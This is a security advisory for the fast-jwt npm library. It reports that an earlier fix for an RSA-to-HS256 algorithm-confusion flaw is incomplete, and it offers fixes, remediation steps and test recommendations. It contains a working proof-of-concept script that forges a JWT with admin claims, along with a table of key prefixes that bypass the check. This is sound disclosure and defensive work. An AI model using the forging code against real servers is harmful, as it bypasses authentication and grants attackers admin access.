GHSA-ww5h-9m49-7xx4: Critical severity npm/fast-jwt vulnerability
Summary
The fix for CVE-2026-34950 (CVSS 9.1, released in v6.2.0) is incomplete. It adds key.trim() to the PEM-detection path in src/crypto.js, but String.prototype.trim() only strips characters classified as whitespace by the ECMAScript specification. The subsequent ^-anchored regex (/^-----BEGIN(?: (RSA))? PUBLIC KEY-----/) still requires the PEM header at position 0 — so any non-whitespace leading byte (control chars, zero-width unicode, # comments, HTTP-style headers, PGP wrappers) bypasses detection and falls through to the HMAC verification path, using the RSA public key as the HMAC shared secret. Net result: the exact same RSA→HS256 algorithm-confusion attack the original CVE addressed is fully re-enabled with a slightly different leading byte.
Attack prerequisites are identical to CVE-2026-34950: attacker knows the target's public RSA key (which is public by definition), and the target loads that key from a source whose content may have a non-whitespace prefix (DB column with corrupted encoding, YAML config with inline comment, copy-paste from formatted document, etc.).
Verified on fast-jwt@6.2.2 (latest as of 2026-04-23) with a 10-line PoC.
Details
Post-patch code (src/crypto.js, lines ~74-171 in performDetectPublicKeyAlgorithms):
js function performDetectPublicKeyAlgorithms(key) { const trimmedKey = key.trim() // <-- CVE-2026-34950 patch added this if (publicKeyPemMatcher.test(trimmedKey)) { // treat as RSA/EC public key ... } // fall-through: treat as HMAC secret <-- bug: reachable via non-whitespace prefix ... } const publicKeyPemMatcher = /^-----BEGIN(?: (RSA))? PUBLIC KEY-----/
The bug: String.prototype.trim() only strips whitespace (U+0009-U+000D, U+0020, U+00A0, U+1680, U+2000-U+200A, U+2028-U+2029, U+202F, U+205F, U+3000, U+FEFF). Non-whitespace leading bytes keep the PEM header off position 0, the ^-anchored regex fails, and execution falls through to the HMAC path with key being used as the shared secret. The attacker controls the token signature (signed with the same public key) and the verifier accepts.
Identical root cause as CVE-2026-34950 — the fix was textually narrow (whitespace only) rather than addressing the class (any surrounding content).
PoC
js 'use strict'; const { createHmac, generateKeyPairSync } = require('node:crypto'); const { createVerifier } = require('fast-jwt');
const { publicKey } = generateKeyPairSync('rsa', { modulusLength: 2048 }); const pem = publicKey.export({ type: 'pkcs1', format: 'pem' }).toString();
// Attacker-controlled "key" content as loaded by the verifier // (models a realistic deployment: key with a leading metadata comment) const key = '# some comment\n' + pem;
const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url'); const payload = Buffer.from(JSON.stringify({ admin: true, sub: 'attacker' })).toString('base64url'); const sig = createHmac('sha256', key).update(header + '.' + payload).digest('base64url'); const forgedToken = header + '.' + payload + '.' + sig;
const verifier = createVerifier({ key }); console.log('Forged token payload:', verifier(forgedToken)); console.log('Package version:', require('fast-jwt/package.json').version);
Observed output (2026-04-23, fresh npm install): Forged token payload: { admin: true, sub: 'attacker' } Package version: 6.2.2
Full bypass matrix (all verified accepting a forged admin token)
| Leading content | Accepted as admin? | |---|:-:| | # some comment\n + PEM | ✅ BYPASS | | U+0000 (NUL) + PEM | ✅ BYPASS | | U+0001 (SOH) + PEM | ✅ BYPASS | | U+0008 (BACKSPACE) + PEM | ✅ BYPASS | | U+001B (ESC, ANSI-color) + PEM | ✅ BYPASS | | U+007F (DEL) + PEM | ✅ BYPASS | | U+200B (ZWSP) + PEM | ✅ BYPASS | | U+200D (ZWJ) + PEM | ✅ BYPASS | | HTTP/1.1 200 OK\r\n\r\n + PEM | ✅ BYPASS | | PGP-wrapper text + PEM | ✅ BYPASS | | . + PEM | ✅ BYPASS | | U+FEFF (BOM) + PEM | ❌ correctly stripped by trim |
Defense matrix (which caller configs are vulnerable)
| Caller config | Vulnerable? | |---|:-:| | createVerifier({ key }) (no algorithms allowlist) | ✗ VULNERABLE | | createVerifier({ key: asyncCallback }) | ✗ VULNERABLE | | createVerifier({ key, algorithms: ['RS256'] }) | ✓ protected | | createVerifier({ key, algorithms: ['HS256'] }) | ✗ VULNERABLE (attacker matches) |
Impact
1. Authentication bypass — attacker forges arbitrary JWT claims (admin, tenant-id, user-id) accepted by any server using fast-jwt 6.2.x without an algorithms allowlist AND loading its verification key from a source that may contain non-whitespace prefix bytes. 2. Severity-parity with CVE-2026-34950 — attack chain, prerequisites, exploitation ease, and impact are identical; only the trigger byte differs. The fix addressed one trigger (whitespace) rather than the class (any surrounding content before -----BEGIN). 3. Broad fast-jwt deployment — default JWT backend of @fastify/jwt; used by many Fastify-based Node.js APIs.
Suggested fix
Option A (minimal) — locate the PEM block rather than anchoring on position 0:
js const pemStart = trimmedKey.indexOf('-----BEGIN') if (pemStart !== -1 && publicKeyPemMatcher.test(trimmedKey.slice(pemStart))) { ... }
Option B (strict, recommended) — require the key to be exactly a PEM block:
js const pemMatch = /-----BEGIN (RSA )?PUBLIC KEY-----[\s\S]+?-----END \1?PUBLIC KEY-----/.exec(trimmedKey) if (pemMatch && pemMatch[0].trim() === trimmedKey.trim()) { / valid PEM, no surrounding content / }
Option C (defense-in-depth, regardless of A/B) — on the HMAC fallback path, reject any key that contains PEM markers:
js if (rawKey.includes('-----BEGIN') || rawKey.includes('-----END')) { throw new Error('Key appears to be a PEM-encoded asymmetric key but did not match expected format; refusing HMAC fallback') }
Test coverage gap
test/crypto.spec.js post-CVE-2026-34950 only tests whitespace padding (['\n', ' ', ' \n', '\n ', '\t\t']). Add coverage for: - Control bytes (U+0000-U+001F, U+007F) - Zero-width Unicode (U+200B, U+200C, U+200D, U+180E) - Comment prefixes (#, //, ;, --) - Mixed-content wrappers (PGP blocks, HTTP headers) - Arbitrary binary prefix bytes
Credit
Reporter: DC INFOSEC / n0l3x — source-code review + end-to-end PoC verification.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/fast-jwtto a version that resolves this vulnerability.Fixed in 6.3.0 - Configuration
Configure createVerifier with an algorithms allowlist containing RS256, for example createVerifier({ key, algorithms: ['RS256'] }); do not allow HS256 for this RSA-key verification path.
fast-jwt verifier algorithms = ['RS256'] - Compensating control
Require the verification key to be exactly a valid PEM block before treating it as an asymmetric key: locate the PEM block and verify that its trimmed match equals the entire trimmed key, rejecting any surrounding comments, control bytes, wrappers, or other content.
- Compensating control
On the HMAC fallback path, reject any key containing '-----BEGIN' or '-----END' PEM markers instead of using it as an HMAC secret.
- Operational
Add regression coverage using the forged payload { admin: true, sub: 'attacker' } and key prefixes including arbitrary binary bytes, comments, control bytes, mixed-content wrappers, and zero-width Unicode characters.
Event History
Frequently Asked Questions
Which deployments are exposed to this bypass?
Deployments using fast-jwt with RSA public-key verification are exposed when the loaded key content can begin with a non-whitespace prefix. Examples include corrupted database encoding, YAML inline comments, copied formatted text, HTTP-style headers, PGP wrappers, control characters, or zero-width Unicode characters before the PEM header.
What does an attacker need to exploit it?
The attacker needs the target's RSA public key, which is public by definition, and a target that loads that key from a source permitting a non-whitespace prefix. No authentication or user interaction is required according to the supplied CVSS vector.
How does the bypass affect token verification?
A non-whitespace byte before the PEM header prevents the anchored PEM-detection regex from matching. Verification then falls through to the HMAC path, treating the RSA public key as an HMAC shared secret and allowing the RSA-to-HS256 algorithm-confusion attack.
Is the earlier CVE-2026-34950 fix sufficient?
No. The earlier fix added key.trim(), but trim only removes ECMAScript-defined whitespace and does not remove non-whitespace prefixes, so the bypass remains possible. The issue was verified on fast-jwt 6.2.2.